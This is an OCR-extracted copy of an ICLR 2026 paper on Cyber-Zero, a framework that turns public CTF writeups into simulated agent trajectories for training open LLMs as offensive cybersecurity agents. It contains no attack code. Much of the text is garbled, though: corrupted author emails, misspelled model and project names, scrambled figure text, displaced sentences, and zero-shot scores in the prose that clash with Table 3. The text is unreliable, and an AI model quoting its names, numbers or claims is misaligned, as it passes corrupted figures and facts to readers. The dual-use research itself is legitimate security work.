Cyber-Zero: Training Cybersecurity Agents without Runtime
Authors: Terry Yue Zhuo
Dingmin Wang
Hantian Ding
Varun Kumar
Zijian Wang
Venue: ICLR 2026 Poster (2026)
Keywords: capture the flag
language model agents
security
vulnerability
Primary area: applications to computer vision, audio, language, and other modalities

Abstract: Large Language Models (LLMs) have achieved remarkable success in software engineering tasks when trained with executable runtime environments, particularly in resolving GitHub issues. However, such runtime environments are often unavailable in other domains, especially cybersecurity, where challenge configurations and execution contexts are ephemeral or restricted. We present Cyber-Zero, the first runtime-free framework for synthesizing high-quality agent trajectories to train cybersecurity LLMs. Cyber-Zero leverages publicly available CTF writeups and employs persona-driven LLM simulation to reverse-engineer runtime behaviors and generate realistic, long-horizon interaction sequences without actual environments. Using trajectories synthesized by Cyber-Zero, we train LLM-based agents that achieve up to 13.1% absolute performance gains over baseline models on three prominent CTF benchmarks: InterCode-CTF, NYU CTF Bench, and Cybench. Our best model, Cyber-Zero-32B, establishes new state-of-the-art performance among open-weight models, matching the capabilities of proprietary systems like DeepSeek-V3-0324 and Claude-3.5-Sonnet while offering superior cost-effectiveness, and demonstrating that runtime-free trajectory synthesis can effectively democratize the development of state-of-the-art cybersecurity agents.

Published as a conference paper at ICLR 2026
Cyber-Zero: TRAINING CYBERSECURITY AGENTS WITHOUT RUNTIME
Terry Yue 2
Dingmin Wang²
Hantian Ding²
Varun Kumar
Zijian WangS1
Monash University
2 aws
AWS Al Labs
00 Meta Superintelligence Labs
terry zhw.mmonsh@mmm..ccooomm edu
Twdimmy, dhantian, kuvrun Gawazonn,ammaz.ncco com, zijianwanggeeeta.com com
ABSTRACT
Large Language Models (LLMs) have achieved remarkable success in software engineering tasks when trained with executable runtime environments, particularly in resolving GitHub issues. However, such runtime environments are often unavail- able in other domains, especially cybersecurity, where challenge configurations and execution contexts are ephemeral restricted. We present CYBER- ZERO, the first runtime-fiee free framework for synthesizing high-quality agent trajectories to train cybersecurity LLMs. CYBER-ZERG leverages publicly available CTF writeups and employs persona-driven LLM simulation to reverse-engineer runtime behaviors and generate realistic, long-horizon interaction sequences without actual environments. Using trajectories synthesized by CEBOR-ZERO, we train LLM- agents that achieve up 13.1% absolute performance gains over baseline models on three prominent CTF benchmarks: InterCode- CTFF NYU CTF Bench, and Cybench. Our best model, SYYBE-ZZER-322 establishes comparable performance among the frontier open- weight models, while offering superior cost-effectiveness, and demonstrating that runtime-free trajectory synthesis can effectively democratize the development of state-of-the-art cybersecurity agents.
InterCode-CTF
NYU CTF
Cybench
20.0
35
Cyber-Zero
17.5
30
Baseline
Pass@1 (%)
15.0
60
12.5
20
10.0
40
7.5
20
5.0
10
2.5
5
Claude-3.7-66 Sonnet
---oonet
Claude 55. Sonnnet
Deep PrepSeek-V3-055 Seek-V3-0324 -324
Gemini-2.88 F-Fahsh
Qwen3-14B Qwen3-328
Owen3-88
Claude 3.7 Sonnet
Claude 1.ee-3.--Somn S.nneet
Gemini-2 2-5-2225--fa Flash
0.0
DeepSeek V3-0324
Qwen3-33 Qwen3-328
Owen3-85 8B
Claude-3 Sonnet
DeepSeek-V3 0324
Claude 5-Sonnet
Gemini-22. Germin-22.---laagh 5-Filsh
Qwen3-148
Owen2-85
Qwen3-14
Qwen3
Figure 1: CYBER-ZERO enables open LLMs like Qwen3 to achieve the superior performance comparable with state-of-the-art models. We note that the evaluation is conducted under greedy decoding and ENIGMA+ scaffold, following Abramovich et al. (2025).
Worr done during an internship at Amazon. Work done Amazon.

---

Published as a conference paper at ICLR 2026
INTRODUCTION
Modern cybersecurity demands continuous security analysis of increasingly complex software systems. As the attack surface of globally connected systems expands, traditional manual security analysis techniques struggle to keep pace with the need for rapid vulnerability detection and patching. This challenge has catalyzed significant research initiatives, including the DARPA Cyber Grand Challenge (Song & Alves-Foss, 2015) and DARPA AIxCC (DARPA, 2024), which aim to develop autonomous exploitation frameworks. Within this landscape. Capture The Flag (CTF) competitions have emerged as the de facto standard for assessing machine learning models' cybersecurity reasoning capabilities, These competitions require sophisticated multi-step adversarial thinking to exploit vulnerabilities and extract hidden flags from simulated systems (Anthropie, 2025a; XAI, 2025; OWASP GenAl Project (CTI Layer Team), 2025).
Recent advances have demonstrated promising results in applying large language model (LLM) agents to CTF challenges (Hurst et al., 2024; Jaech et al., 2024; Anthropic, 2025b; Abramovich al., 2025), with systems like ENIGMA (Abramovich et al., 2025) showing substantial progress on complex security tasks. However, these approaches achieve strong performance only when paired with frontier proprictary models such as OpenAl's o3 (OpenAI, 2025) or Anthropic's Claude-3.5- Sonnet (Anthropic, 2024). They fail to generalize to open-source LLMs, creating a significant capability gap between proprietary and open models.
This performance disparity stems from two fundamental challenges. First, most open models lack the sophisticated agentic capabilities essential for complex cybersecurity tasks, including self-directed reasoning, long-horizon planning, and strategic tool utilization (Shao et al., 2024; Zhang et al., 2025). Second, and more critically, the scarcity of high-quality training data fundamentally limits the development of capable open-souree cybersecurity agents. Unlike software engineering domains where comprehensive codebases and issue resolution contexts are readily available (Pan et al., 2024; Xie et al., 2025; Wei et al., 2025b), CTF challenges present unique data acquisition issues. Most competitions provide only ephemeral access to vulnerable environments, with minimal post- competition maintenance or documentation. Even when challenges become open-source through community efforts, the absence of executable environments prevents the collection of authentic agent trajectories that capture the iterative, exploratory nature of vulnerability discovery and exploitation.
To address these limitations, we present CYBER-ZERG the first framework that synthesizes high- quality trajectories for cybersecurity agents without requiring access to original executable envi- ronments. Specifically, CYBER-ZERR ZERO utilizes the public CTF writeups, containing step-by-step problem-solving strategies documented by participants, to reconstruct the simulated environment and generate complete learning trajectories. that combines persona-driven LLM agents with strategic environment simulation. We construct spe- cialized LLM personas (Ge et al., 2024) to analyze existing writeups and reverse-engineer plausible environment behaviors. These personas collaborate to synthesize complete, long- horg-horizon interaction sequences that explore not only successful solution paths but also realistic failed attempts, debugging sessions, and strategic pivots that characterize authentic cybersecurity workflows.
LYBER-ZERR operates through a multi-stage pipeline
We extensively evaluate CYBER- ZERO by training LLM agents on synthesized trajectories and testing them on three popular CTF benchmarks (Figure 1) comprising over 300 challenges. Our approach achieves up to 13.1% absolute performance gains compared to baseline methods, with our best CYBER-ZERO-321 model matching the performance of state-of-the-art LLMs like Claude- 3.5-Sonnet! and SeepSeek-V3- diverse CTF challenges, indicating that our trajectory synthesis captures fundamental cybersecurity reasoning patterns rather than memorizing specific solutions.
Notably, our models demonstrate strong generalization across
Our contributions are as follows:
We introduce the first runtime-free framework for synthesizing agent trajectories when executable environments are unavailable, featuring persona-driven LLMs that reverse-enginees system behav- iors and generate realistic interaction sequences.
We construct a large-scale collection of synthesized cybersecurity trajectories covering diverse CTF categories, enabling effective training of LLM agents for vulnerability discovery and exploitation.
By default we refer to the v2 variant of Sonnet 3.5.
2

---

Published as a conference paper at ICLR 2026
We conduct thorough analysis across multiple CTF benchmarks demonstrating that models trained on synthesized trajectories achieve superior performance, closing the gap between open and proprietary models.
We develop ENIGMA+, an agent scaffold with significantly improved utility that reduces evaluation time from days to hours while maintaining evaluation fidelity.
We manually identify and patch problematic challenges affecting 6% of existing CTF benchmarks. We will release corrected versions to facilitate fair and accurate evaluation of cybersecurity agents.
2 CYBER-ZERO FRAMEWORK
CYBER-ZERO is the first runtime-free framework designed to synthesize high-quality agent trajecto- ries for training LLMs on offensive cybersecurity tasks. As shown in Table I, existing cybersecurity datasets either lack agentic interaction patterns fail to provide training data, creating critical gap in the development of capable security agents. Inspired by the success of trajectory- bbased learning in software engineering agents (Jimenez et al., 2024; Yang et al., 2024a), CYBER-ZERG adapts this paradigm to cybersecurity by transforming natural-languer interaction sequences (Figure 2). Different from prior pipelines for SWE tasks (Pan et al., 2024; Xie et al., 2025; Yang et al., 2025b), our method enables learning from rich groblem-solvingg workflows without requiring access to original challenges' environments. The framework operates through three main stages: source data collection, persona-driven interaction trajectory generation, and dataset construction with examples illustrated Appendix H.
CTF writeups into structured, simulated
Table I: CYBER-ZERO is the first without any runtime environment. Detection: whether the task requires vulnerability detection; Exploitation: whether the task needs LLMs to exploit the detected vulnerabilities; Agentic: whether each instance is repaired with an interactive environment for exploration; Real Task: whether each instance is developed by human experts.
Dataset
Detection
Exploitation
Agentic
Real Task
Total
# Train
Seci MHlmees (Ullah et al., 2024) Vui (Ding et al., 2024)
x
208
0 5,574
x
x
6,968
SecRepoBench (Dilgren et al., 2025)
/
318
0
CVE-Bench (Wang et al., 2025)
x
/
509
0
CyberSecEval 3 (Wan al., 2024)
5
6
0
SecCodePLT (Yang al., 2024b)
1,345
0
InterCode CTF (Yang et al., 2023)
100
0
NYU CTF Bench (Shao et al., 2024)
200
0
Cybench (Zhang et al.. 2025)
40
0
CYBER-ZERO (Ours)
6,188
6.188
2.1 SOURCE DATA COLLECTION
CYBER-ZERO begins by curating a large corpus of publicly available CTF writeups, which are detailed solutions by competition participants. These writeups contain rich procedural narratives, including reconnaissance steps, attempted commands, debugging strategies, and final exploits. Despite their unstructured format, they provide valuable proxy for agent trajectories when properly processed.
We collect thousands of writeups from CTFtimee, leveraging the CTF Archives repository. Each writeup includes metadata such challenge name, competition event, and point value. However, the raw data presents several challenges that require systematic processing: First, the writeup is originally stored as the web format, which contains noisy HTML and XML tags. We use markdowni Fy to convert these into clean Markdown format. Second, we notice that large number of writeups on CTFtime do not contain enough information, and often contains only pointers to external websites or deprecated repositories. To ensure quality, we remove all URLs and exclude ones shorter than 1,000 characters. Third, certain critical information such as task descriptions and available files is
Phttps://ctfting 'https:/ thub. com/ jadi um/ http//tffaarctt
3

---

Published as a conference paper at ICLR 2026
CTFE
Writeups
CTF Challenge
Player Model
oboe incante tigweenggeigg uning shito, siray
Categgary Pan
Rerna rrgg vuknevablity
foundis landoo prisurctoos.
Language Model
on 201 136 250.34
Rile: trandem, veurr]
A lepoyy service their was ance used store meene's
secrer Aus bewn disooened The service wes accidnerelty
Lork sedt auhrou saing lanuu, Caltulate
Terminal Model
left eccessible as the intereet until December 2013. Paur gost in explair the seoten' vsterrabiitte eutrect store server.
Flage CTT (ooa)
Trajectory Begins
Trajectory Ends
fils nurrer
4396
The edited seipe losts good
6. nen hat
verty the challlnne binary
S0004-46-4 2005 6386
(D6000) secalved
10pea A/l
Pythos3 erploit.pp
ctr arvidocaac.co atclog Jeads paellood
Svall)
beak-3
ville
Farcasti sucoestulty exptured the captures Hag.
candam weats
Oren
Fandon
(FF(
bash-d
Figure 2: CYBER-ZERO synthesizes CTF challenges from collected writeups then uses the challenge descriptions and writeup content to create the persona-driven models (Player Model and Bash Model), and collects trajectories through simulated agent-environment interplay.
often missing. We address this by using DeepSeek- V3-0344 (Liu et al., 2024) to generate missing metadata and extract flag values from writeup content, retaining only those with verifiable flags to ensure logical coherence.
After this multi-stage processing pipeline, we list all CTF competitions and challenges from the collected writeups and evaluation data, manually removing 47 overlapping challenges to avoid contamination. We then construct dataset of 6,188 high-qualite CTF writeups spanning 4,610 unique challenges from 543 competitions across 6 task categories (Table 2), covering 2017-2025.
2.2
VERIFICATION-FRES TRAJECTORY GENERATION ON THE FLY
Building upon the CTF writeups and synthetic metadata, we aim to construct multi-turn trajectories that mimic realistic agent workflows for solving various CTF challenges. However, producing high-quality interaction data remains challenging. First, trajectories generated in a single pass are often overly linear and omit the -el--on- exploration, and self-repair behaviors commonly seen in human workflows (see Appendix G). Second, there is no runtime environment to verify each step, introducing risks of hallucinated behavior and unrealistic command outputs.
To address these challenges, we propose persona-driven dual-LLM approach for trajectory genera- tion without execution environments, illustrated in Figure 2. Our method simulates a complete CTF-solving ecosystem using two specialized LLMs: one acts as Bash terminal emulating system responses, while the other embodies CTF player issuing commands and reasoning about the task.
Persona 1: CTF Player We configure the first model embody an experienced security engineer with expertise across common challenge categories. The prompt defines a consistent agent persona, scaffold-compatiin output format, and set of behavioral guidelines. The model is instructed to reason ste-byysttep in plain text before issuing actions and to avoid interactive or ambiguous behaviors incompatible with scripted agent scaffolds. The player model is given only the challenge content like in real competition, such as task description, available files, and environmental assumptions, but not the original writeup or the correct flag. This encourages the agent to solve the challenge from first principles and avoids contamination from ground truth trajectories.
Persona 2: Bash Terminal The second model simulates a terminal environment, producing system responses player commands while preserving realistic formatting and output structure. Unlike
4

---

Published as a conference paper at ICLR 2026
Table 2: Challenge distribution across CTF benchmarks and categories. After repairing several configurations inside the challenges, there are 17 tasks which cannot be set up documented in Appendix C. Crypto: Cryptography; Pwn: Binary Exploitation; Rev: Bengree-Enginnering: Misc: Miscellaneous.
Benchmark
Level
Crypto
Forensies
Pwn
Rev
Web
Misc
# Total
InterCode-CTT
High School
16
13
2
27
2
31
91
NYU CTF Bench
University
53
15
38
51
19
24
192
Cybench
Professional
Total
88
34 44
84
29
61
323
the player model, the terminal model has access to the original writeup and reference flag, enabling it to act weak oracle during the trajectory generation process. To improve interaction quality, we implement a selective intervention mechanism. When the player makes repeated mistakes or takes an unproductive direction, the terminal model inject minimal hints, marked with the special [HINT]- C....//IIIII. /HINT] tags. These brief, contextual suggestions reorient the player without revealing complete solutions, for example, encouraging further inspection of a file reconsideration of a previous step. Empirically, we find this hint mechanism crucial for data collection, as the player model struggles capture flags without any guidance, significantly reducing the volume successful trajectories we can collect. Critically, the terminal model maintains strong realism constraints to simulate the command execution. With the prompt engineering. we ensure that it emulates plausible system behavior, including error messages, output fidelity. and consistent state transitions, while avoiding overt assistance or correction that would compromise trajectory authenticity. To ensure that the models can learn self-driven exploration without shortcut from the collected trajectories, we removed all hints wrapped with the [HINT] [/HINT] tags.
2.3 TRAINING DATA CONSTRUCTION
We scale our dual-LLM trajectory generation framework produce large corpus of high-quality, multi-turn interaction traces. This process supports the development of CTF- CTF-solving agents that require diverse, realistic demonstrations of iterative security problem-solving behavior.
Emulated Scaffolding We use the ENIGMA (Abramovich et al., 2025) architecture as the target agent scaffold for structuring our generated trajectories. ENIGMA provides a state-of-the--ee framework for cybersecurity tasks, featuring modular components that define agent reasoning, action execution, and environment feedback. Its model- mrodel-fiendly interface displays execution results in structured, interpretable format. To ensure compatibility, we design dual-model generation pipeline to align with the input-output format enforced by the ENIGMA scaffold. This emulation enables direct use of the generated data with ExIGMA-based agents for training and evaluation, without requiring post-hoc adaptation.
Policy Improvement Algorithm Inspired by Pan (2024), we design the multi-layer validation to ensure data quality and consistency for rejection sampling fine-tuning. First, each trajectory must successfully recover the correct flag, verified through exact-match detection. Second, we enforce format checks to verify Markdown consistency, structural alignment with the agent scaffold, and presence of a single command per player response. Third, terminal outputs must follow required formatting conventions, including accurate metadata headers and realistic system behavior. Finally, we use an LLM-based binary filter to evaluate the alignment between the original CTF writeup and generated trajectory. The binary filter adapted from the LLM-as-a-Judge paradigm (Zheng et al., 2023; He et al.. 2025), which uses DeepSeek- ManSSeekk--30224 V3-0324 to evaluate the alignment between each original writeup and its corresponding collected trajectory by determining whether the trajectory follows similar overall approach. We use the greedy decoding setting for the binary filter to get more deterministic output.
Generation Configuration We adopt DeepSeek-V3-0324 for both the player and terminal roles, selected for its strong multi-ture turn reasoning and code generation capabilities. Each model is configured with temperature of 0.6 and top-p of 0.95 to balance output diversity and stability. To avoid overlong
5

---

Published as a conference paper at ICLR 2026
agent trajectories, limit the maximum agent-environment paired turn as 40. For each CTF writeup, we generate three trajectories to increase the sampling diversity. To demonstrate the data quality, we provide qualitative studies in Appendix H.
TRAINING LLMS AS CYBERSECURITY AGENTS WITH CYBOR-ZERO
With EYBER-ZERO, we train our cybersecurity agents with various base models. Our primary objective is to establish strong baselines and demonstrate the effectiveness of our runtime-free training approach. We use Pass @ (Chen et al., 2021) as our main evaluation metric.
3.1 EXPERIMENT SETUP
Evaluation Scaffolding We develop ENIGMA+, enhanced version of the ENIGMA scaffold, with several key improvements for large-scale evaluation. First, ENIGMA+ executes all evaluation tasks in parallel rather than sequentially, dramatically improving efficiency. While ENIGMA A requires 1-3 days to evaluate 300+ CTF challenges, ENIGMA+ completes the same evaluation in under hours. This speedup is achieved by assigning each Docker container a dedicated network interface and isolated environment, enabling concurrent task exccution without interference. Second, ENIGMA+ provides fairer model comparison by capping generation with maximum number of interaction turns (40) rather than ENIGMA's 's cost-based budget ($3 per instance). This approach aligns with established practices in SWE agent evaluation (Yang al., 2024a) and ensures consistent evaluation conditions across models with different pricing structures. Third, we use Simple Summarizer instead of LLM Summarizer from ENIGMA A, as we observe that binary decompilation output be extremely long to exceed the context window of some LLMs.
Test Benchmarks We evaluate agents on three established CTF benchmarks detailed in Table 2: InterCode-CTF benchmark contains 100 CTF challenges collected from PicoCTF, online edu- cational platform for high-school rated CTF challenges. NYU CTF Benchmark contains 200 CTF challenges from the CSAW CTF competitions (2017-2023), representing university-leve difficulty. Cybench benchmark contains 40 CTF challenges collected from four distinct professional competi- tions: Boc, Sekai CTF, Glacier and HKCert (2022-2024). These benchmarks collectively span six challenge categories: Cryptography, Forensics, Binary Exploitation, Reverse- Eeniinennggn...ingg. Web Exploitation, and Miscellaneous. For evaluation, we deploy each LLM inside the agent scaffold and provide with the access to the Linux Bash terminal.
Training We fine-tuned three model families: Qwen3 (Yang et al., 2025a), 0wen2.5-Innsrru. (Hui et al., 2024), and SWE-agent-LMM (Yang et al., 2025b) (fine-tuned from (reen..--Coder-Insttet))) All models are trained using supervised fine-tuning via NVIDIA NeMo framework (Kuchaiev al., 2019). Due to the limited compute, we only retain the synthesized samples with the maximum of 32,768 tokens, resulting in the total number of 9,464 trajectories. The hyperparameters are consistently set as the global batch size of 16, the learning rate 5e-6, and the epoch of 2.
3.2 RESULT ANALYSIS
In this section, we evaluate all LLMs with the Pass@ metric, where we sample one trajectory per task and validate if the model captures the correct flag. Table presents performance comparisons between zero-shot and fine-tuned models across all benchmarks.
CYBER-ZERO training enables effective vulnerability exploitation. Fine-tuning on CYBER- ZERO trajectories yields consistent performance improvements across all CTF benchmarks. For instance, in the zero-shot setting, Qwen-3-32B solves 4.5% of NYU CTF Bench tasks, 69.7% on InterCode-CTF, and 12.5% on Cybench. After fine-tuning, the model achieves an average absolute improvement of 6.2% across the three benchmarks. These gains suggest that training with high- quality trajectories enhances the agent's ability to reason about binary analysis, construct effective shell commands, and exploit CTF challenges. Notably, fine-tuned agents exhibit superior capability in parsing noisy outputs (particularly from decompiled binaries) and making progress without getting stuck, which crucial factors for high success rates in these complex, multi-step environments.

---

Published as a conference paper at ICLR 2026
Table 3: @ass@ of models fine-tuned on 9,464 CYBER-ZERS trajectories using ENIGMA+ To minimize the randommess, we use the greedy decoding for generation. ZS: zero-shot performance; FT:fine-tuned performance; A: absolute improvement. We denote the fine-tuned Qwen3 will as our CYBER-ZERO models. Additional analysis is in Appendix E.
Model Size
InterCode-CTT (%)
NYU CTF (%)
Cybench (%)
Average (%)
7$
FT
A
7S
FT
A
ZS
FT
A
ZS
FT
A
@wen-3 (main)
8B
46.5
64.8
+18.3
0.8
6.3
+5.5
5.0
10.0
+5.0
14.2
23.2
+9.0
14B
55.0
73.6
+18.6
2.6
9.9
+7.3
12.5
20.0
+7.5
18.6
29.1
+10.5
32B
60.0
82.4
+22.4
4.7
13.5
+8.8
5.0
17.5
+12.5
20.3
33.4
+13.1
@wen2.5-Instruct
7B
34.1
47.3
+13.2
2.0
4.2
+2.2
0.0
7.5
+7.5
10.8
16.8
+6.0
14B
44.0
68.1
+24.1
3.1
7.3
+4,2
5.0
17.5
+12.5
14.9
25.7
+10.8
32B
68.1
71.4
+3.3
4.7
9.9
+5.2
10.0
15.0
+5.0
23.2
27.9
+4.6
SWE Agentic LLMs
7B
0
46.2
+46.2
0
4.7
+4.7
7.5
+7.5
0
16.7
+16.7
32B
34.1
71.4
+37.3
4.2
6.8
+2.6
5.0
17.5
+12.5
12.7
25.6
+13.6
45
Claude-3.7
Sonnet
Average Performance (%)
Claude:3,5
Sonnet
Gemini-2.5 Flash
30
Cyber-Zere Zero 328
DeepSeek-V3
Cyber-Zero
148
20
Cyber-Zero
Qwen3
15-
14
32
100
1000
???
Model Size (B parameters, log scale)
Figure 3: Comparison of various LLMs across model size (log-scale billions of parameters), Pass performance (%), and cost-effectiveeness (bubble size). We denote cost-effectiveness as the ratio of performance to token inference cost (in S) on the flag-captured CTF challenges. We note that the token prices are the lowest one listed on OpenRouter. Appendix provides the detailed overall performance against the cost.
SWE agents cannot generalize on cybersecurity tasks. Despite being built on -renn.5--oder- Instruct and trained for complex software engineering tasks, SWF-agent-LMM models demonstrate poor cybersecurity performance. SWE-agent-LM-78 achieves 0% success rate across all benchmarks in zero-shot evaluation. Manual inspection reveals fundamental instructioonfollloiing failures, sug- gesting severe overfitting software engineering tasks. While SWE-agent-MM-32B maintains basic cerruction-followiini capabilities, its performance remains inferior to the base Qwen2.5-322 Dwwen..-332-IInstruee model across all benchmarks. despite having specialized training in complex agentic tasks. This gap highlights that the skills required for debugging or code completion do not transfer to cybersecurity tasks, which demand deeper exploration, vulnerability detection, and interaction with specialized
7

---

Published as a conference paper at ICLR 2026
security toolchains. These results underscore the importance of domain-specing training to enable effective generalization agentic settings.
Performance scales predictably with model size. Table 3 reverals consistent performance scaling with model capacity. For instance, zero-shot average @ass@ I rise from 14.2% (CYBER-ZERO-81) to with similar trends across all model families. This consistent scaling effect suggests that larger models possess greater capacity to reason across longer contexts, compose commands, and maintain internal state across multiple interactions. While fine-tuning substantially enhances performance, the underlying model capacity remains strong predictor of success in complex CTF environments.
20.3%
Fine-tuned agents achieve superior cost-effectiveness. Figure illustrates compelling trade-off between performance and cost across different models. Proprietary models such as Claude-3.77 Sonnet (Anthropic. 2025a) and Claude-3.5-Sonme achieve strong zero-shot performance (43.3% and 37.2% respectively) but incur high costs, averaging $44.4 and $22.2 to complete those successful tasks. contrast, CYBER-ZERO-322 achieves the comparable performance of 33.4% success rate with significantly lower cost per task. Moreover, CYBER-ZERO models maintain the similar cost-effectiveness to their base models while delivering significantly better performance. These findings demonstrate that agents trained on CYBER-ZERG trajectories not only achieve competitive performance but also offer superior cost-effectiveness and sample efficiency for practical cybersecurity applications.
SCALING CYBERSECURITY AGENTS
Understanding how cybersecurity agents scale across different dimensions is crucial for advancing their effectiveness and generalizability. In this section, we investigate three key scaling dimensions through controlled experiment: (1) inference-time compute: whether increased sampling improves performance and how fine-tuned models benefit from additional rollouts, (2) task diversity:how training on varied challenges affects noss-benchmark generalization. Furthermore, we investigate whether multiple synthetic trajectories per task enhance agent performance in Appendix F.
InterCode-CTF
NYU CTF
Cybench
25
Pass@k (%)
20
15
30-
10
30
2
Number of Agent Rollouts (k)
Number of Agent Rollouts (k)
Number of Agent Rollouts (k)
Qwen3-8B
Qwen3-14B
Cyber-Zero-8B
Cyber-Zero-14B
Figure 4: Effect of inference-time compute budgets. Zero-shot and fine-tuned Qwen3 models (8B 14B) evaluated on three cybersecurity benchmarks (the temperature of 0.6 and top-p of 0.95) exhibit increasing scores with variance computed following Lightman et al. (2023).
4.1 SCALING WITH INFERENCE-TINE COMPUTE
Setup. We investigate how inference-time sampling affects performance by generating multiple rollouts per task and computing Pass@k & for l 2,, 3,4,),, We evaluate Qwen3 models (8B and 14B) in both zero-shot and fine-tuned variants using temperature 0.6 and top-p 0.95. Each trajectory validated through exact flag matching. We report separate curves for each model variant across our three benchmarks.
Analysis. Figure demonstrates that fine-tuned models consistently outperform their zero-shot counterparts across all sampling budgets. For instance, fine-tuned CYBER-ZERO-LE ZERO-14B improves from 2.6% Pass@1 to 4.2% Pass on NYU CTF Bench, and the gap widens as l increases. This pattern is consistent with prior findings in software engineering agent evaluation (Wei et al., 2025b;
8

---

Published as a conference paper at ICLR 2026
Yang et al., 2025b), where repeated sampling benefits models only when their candidate solutions are diverse and grounded in effective reasoning patterns. Moreover, the improvement curves for fine-tuned models show diminishing returns beyond k 5, suggesting that most useful reasoning paths are already captured within the first few samples.
4.2
SCALING WITH TASK DIVERSITY
InterCode-CTF
NYU CTF
Cybench
Pass@1 (%)
70
10
15
60
5
10
20
100
10
20
50
100
20
100
Challenge Coverage (%)
Challenge Coverage (%)
Challenge Coverage (%)
Cyber-Zero-88
Cyber-Zero-14B
Cyber-Zero-328
Figure 5: Effect of training task diversity. Models trained on increasing percentages of available CTF challenges show consistent performance gains across all benchmarks.
Setup. To assess how the variety of training tasks affects generalization, we fine-tune Qwen3 models (8B, 14B, and 32B) on progressively larger subsets of the CYBER-ZERO dataset: 10%, 20%, 50%, and 100% of available challenges. Following our standard setup Section 2.3, we generate trajectories per task and keep training parameters fixed. Evaluation uses greedy decoding Pass across all three benchmarks.
Analysis. Figure demonstrates that expanding training task diversity yields monotonic perfor- mance improvements across all benchmarks. For example, on InterCode-CTF, CYBER-ZERO- 14B improves from 58.2% to 73.6% when scaling the task coverage from 10% to 100%. This consistent improvement pattern suggests that exposure to diverse challenge types enhances models' ability to recognize and exploit varied vulnerability patterns. Interestingly, the gains less pronounced on professional-level benchmarks like Cybench compared to educational challenges InterCode-CTI This disparity indicates that complex, real-world challenges require more sophisticated reasoning that may be harder to capture through unverified synthetic trajectories alone.
5 RELATED WORK
Training LLM Agents to Code Previous training paradigms for coding in software engineering
tasks have primarily focused general programming capabilities (Li et al., 2023; Lozhkov et al., 2024; Muennighoff et al., 2024; Zhuo et al., 2024; Wei et al., 2024). While existing scaffolds have successfully leveraged proprictary language models to address real-world software engineering challenges, open models consistently underperform, motivating research into domain-specific training approaches. Several notable efforts have emerged in this direction. Lingma SWE-GPT (Ma et al., 2024) introduces 7B and 72B models(Hui et al., 2024), employing an iterative development-proeess- centric methodology. SWE-Gym (Pan et al., 2024) presents the first open training environment for software engincering agents, achieving substantial improvements on SWE-bench. More recently, SWE-Fixer (Xie et al., 2025) creates specialized code retriever andeditors, while SWE-RL (Wei et al., 2025b) employs reinforcement learning (RL) (Grattafiori et al., 2024) to enable self ieffimmrroveentt through RL incentives. Despite these advances in software engineering, our work represents the first training paradigm specifically designed for cybersecurity tasks, addressing critical gap where code-focused training fails to transfer to security domains.
LLM Agents for Offensive Cybersecurity The application of LLM agents cybersecurity chal- lenges has gained significant traction, with multiple frameworks developed for solving CTF challenges in dockerized environments (Yang al., 2023; Shao et al., 2024; Zhang et al., 2025; Mayoral- Vilches et al., 2025). These frameworks typically use Kali Linux for pre-installed cybersecurity tools. These frameworks serve foundations for broader offensive cybersecurity applications, where LLMSs

---

Published as a conference paper at ICLR 2026
employed to conduct penetration testing, exploit security weaknesses, and craft cyberattacks (Charan et al., 2023; Deng et al., 2024; Fang et al., 2024). Recent advances have introduced more sophisticated agent architectures. Project Naptime (Glazunov & Brand, 2024) and Big Sleep (Allamanis et al., 2024) developed an agent that successfully discovered a SQLite vulnerability using tools such as debuggers. EnIGMA (Abramovich et al., 2025) surpasses existing baselines by integrating specialized cybersecurity tools and interactive interfaces tailored for LLM agents, achieving higher success rates on the InterCode, NYU CTF Bench, and Cybench benchmarks. Unlike prior methods relying on agent-scaffold-deeee dependent approaches, we introduce new training paradigm that fundamentally improves models' capability of handling cybersecurity tasks.
Benchmarking Models' Cybersecurity Capabilities Various benchmarks have been developed to evaluate language models on cybersecurity-reline
tasks. Multiple-choice question based datasets (Li et al., 2024; Tihanyi al., 2024; Liu, 2023) typically provide limited insights due to their high sensitivity to prompt formatting (Qi et al., 2024; Lucki et al., 2024) and insufficient alignment with real-world operational contexts. Carlini et al. (2025) introduced BuencchExBench, which evaluates LLMs on their ability to autonomously compromise image-based adversarial defenses. Agent-based frameworks incorporating tool usage provide superior approximations of real-world conditions. Consequently, numerous studies have adopted Capture-the- challenges as proxies for assessing security capabilities. More recent frameworks (e.g., Abramovich al. (2025); Mayoral-Vilches et al. (2025)) have further advanced the field by integrating interactive simulations with structured uttack-chail analyses.
CONCLUSION
We introduce CYBER- -ZERO, the first runtime-free framework for synthesizing agent trajectories to train LLM-based cybersecurity agents. Through our novel persona-driven simulation approach, we achieve up to 13. % absolute performance gains over baseline methods, with our best CYBER- ZERO-32B model achieving performance comparable to frontier models like Claude-3.5 3.5-onett and DeepSeek- V3-0324 across three major CTF benchmarks. Our approach addresses the fundamental challenge of training data scarcity in cybersecurity by eliminating the dependency environments while maintaining the quality and authenticity of training trajectories. Our results demonstrate that high-quality synthetic trajectories can effectively close the performance gap be- tween open and proprietary models, suggesting that the democratization of advanced cybersecurity capabilities only feasible but imminent. Discussions on limitations are provided in Appendix A.
executable
10

---

Published as a conference paper at ICLR 2026
ETHICS STATEMENT
We acknowledge the dual-use nature of our work. While CYBER-ZERO is designed to strengthen cybersecurity by enabling developers and security researchers discover and remediate vulnerabil- ities before software deployment via penetration testing, these same capabilities could potentially be leveraged for offensive purposes, including discovering and exploiting vulnerabilities in external software systems or developing malicious tools. The runtime-frie approach we propose further amplifies this concern by making advanced cybersecurity agent training more accessible, potentially lowering the barrier to entry for both defensive and offensive applications.
Our evaluation demonstrates that models trained on synthesized trajectories can achieve the perfor- mance comparable to frontier proprietary models, suggesting that the democratization of cybersecurity capabilities is both technically feasible and rapidly approaching. As the cybersecurity capabilities of LLMs continue to advance, we encourage continued collaboration between researchers, model developers, and safety institutions to ensure that these powerful tools are developed and deployed responsibly. We believe that open research and transparency, balanced with appropriate safeguards, ultimately strengthens our collective security posture.
REPRODUCIBILITY STATEMENT
All implementation details, including environment setup, hyperparameters, are provided in Section 2. Evaluation settings and the procedure for generating multiple trajectories are described in Section 3.1. To facilitate the open-science research, we will release the full source code and data processing pipeline under an open-source license upon publication. Due restrictions using frontier propri- etary models for data distillation in training, we cannot employ closed commercial systems such as GPT-4 or Claude. To ensure both reproducibility and cost efficiency, we select DeepSeek- V3-0324 De2-Seek-V3-0324 as the open alternative for all experiments.

---

Published as a conference paper at ICLR 2026
REFERENCES
